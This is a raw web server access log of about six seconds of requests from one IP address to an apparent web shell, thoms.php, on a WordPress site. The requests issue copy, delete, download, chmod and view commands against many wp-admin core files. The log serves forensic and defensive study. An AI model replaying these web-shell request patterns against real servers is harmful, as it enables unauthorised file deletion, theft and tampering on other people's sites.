45.135.193.11 - - [11/Sep/2026:23:16:43 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Ftools.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Ftools.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:43 -0400] "GET /thoms.php?del=setup-config.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?del=setup-config.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:44 -0400] "GET /thoms.php?dl=admin-header.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=admin-header.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:44 -0400] "GET /thoms.php?del=edit-link-form.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=edit-link-form.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:44 -0400] "GET /thoms.php?dl=menu-header.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=menu-header.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:44 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=my-sites.php HTTP/1.1" 200 14123 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=my-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:44 -0400] "GET /thoms.php?chmod=includes&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=includes&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:44 -0400] "GET /thoms.php?del=upgrade-functions.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=upgrade-functions.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:44 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmenu-header.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmenu-header.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:44 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fpost.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fpost.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:44 -0400] "GET /bestzyx.com.tw/wp-admin/profile.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:44 -0400] "GET /bestzyx.com.tw/wp-admin/async-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:44 -0400] "GET /thoms.php?chmod=setup-config.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=setup-config.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:44 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=async-upload.php HTTP/1.1" 200 14381 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=async-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:45 -0400] "GET /thoms.php?chmod=edit.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=edit.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:45 -0400] "GET /thoms.php?dl=credits.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=credits.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:45 -0400] "GET /thoms.php?dl=link.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=link.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:45 -0400] "GET /thoms.php?dl=ms-options.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=ms-options.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:45 -0400] "GET /bestzyx.com.tw/wp-admin/theme-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:45 -0400] "GET /thoms.php?dl=term.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=term.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:45 -0400] "GET /bestzyx.com.tw/wp-admin/about.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:45 -0400] "GET /bestzyx.com.tw/wp-admin/options-discussion.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:45 -0400] "GET /thoms.php?del=nav-menus.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=nav-menus.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:45 -0400] "GET /thoms.php?del=theme-editor.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28932 "http://163.245.207.76:443/thoms.php?del=theme-editor.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fcredits.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fcredits.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:46 -0400] "GET /bestzyx.com.tw/wp-admin/load-styles.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:46 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=import.php HTTP/1.1" 200 15043 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=import.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:46 -0400] "GET /thoms.php?dl=font-library.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28933 "http://163.245.207.76:443/thoms.php?dl=font-library.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:46 -0400] "GET /thoms.php?del=link-parse-opml.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28945 "http://163.245.207.76:443/thoms.php?del=link-parse-opml.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fprofile.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fprofile.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:46 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=press-this.php HTTP/1.1" 200 13034 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=press-this.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:46 -0400] "GET /thoms.php?del=admin.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fcontribute.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fcontribute.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:46 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=credits.php HTTP/1.1" 200 13350 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=credits.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:46 -0400] "GET /bestzyx.com.tw/wp-admin/menu.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:46 -0400] "GET /bestzyx.com.tw/wp-admin/options-permalink.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:46 -0400] "GET /thoms.php?chmod=export-personal-data.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=export-personal-data.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-connectors.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-connectors.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fnetwork&p= HTTP/1.1" 200 12260 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fnetwork&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:47 -0400] "GET /thoms.php?chmod=admin-ajax.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=admin-ajax.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:47 -0400] "GET /thoms.php?chmod=load-scripts.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=load-scripts.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:47 -0400] "GET /thoms.php?del=export.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=export.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:47 -0400] "GET /bestzyx.com.tw/wp-admin/ms-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:47 -0400] "GET /thoms.php?del=options-writing.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?del=options-writing.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:47 -0400] "GET /thoms.php?dl=post-new.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28940 "http://163.245.207.76:443/thoms.php?dl=post-new.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:47 -0400] "GET /thoms.php?dl=theme-editor.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=theme-editor.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:47 -0400] "GET /thoms.php?chmod=user&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=user&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:47 -0400] "GET /thoms.php?dl=edit-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=edit-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fpost-new.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fpost-new.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:48 -0400] "GET /thoms.php?chmod=upload.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=upload.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:48 -0400] "GET /thoms.php?dl=erase-personal-data.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=erase-personal-data.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:48 -0400] "GET /bestzyx.com.tw/wp-admin/user-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:48 -0400] "GET /thoms.php?chmod=export.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=export.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmedia-new.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmedia-new.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:48 -0400] "GET /thoms.php?del=link-manager.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=link-manager.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:48 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=media.php HTTP/1.1" 200 12319 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:48 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-options.php HTTP/1.1" 200 12026 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmy-sites.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmy-sites.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:48 -0400] "GET /thoms.php?dl=options-connectors.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=options-connectors.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:48 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=customize.php HTTP/1.1" 200 16389 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=customize.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:49 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=plugins.php HTTP/1.1" 200 21220 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=plugins.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:49 -0400] "GET /thoms.php?chmod=privacy.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=privacy.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:49 -0400] "GET /thoms.php?chmod=site-health-info.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=site-health-info.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:49 -0400] "GET /bestzyx.com.tw/wp-admin/upgrade.php HTTP/1.1" 200 575 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:49 -0400] "GET /thoms.php?dl=update-core.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?dl=update-core.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:49 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit.php HTTP/1.1" 200 18580 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:49 -0400] "GET /thoms.php?chmod=plugin-editor.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=plugin-editor.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:49 -0400] "GET /thoms.php?dl=options-permalink.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?dl=options-permalink.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
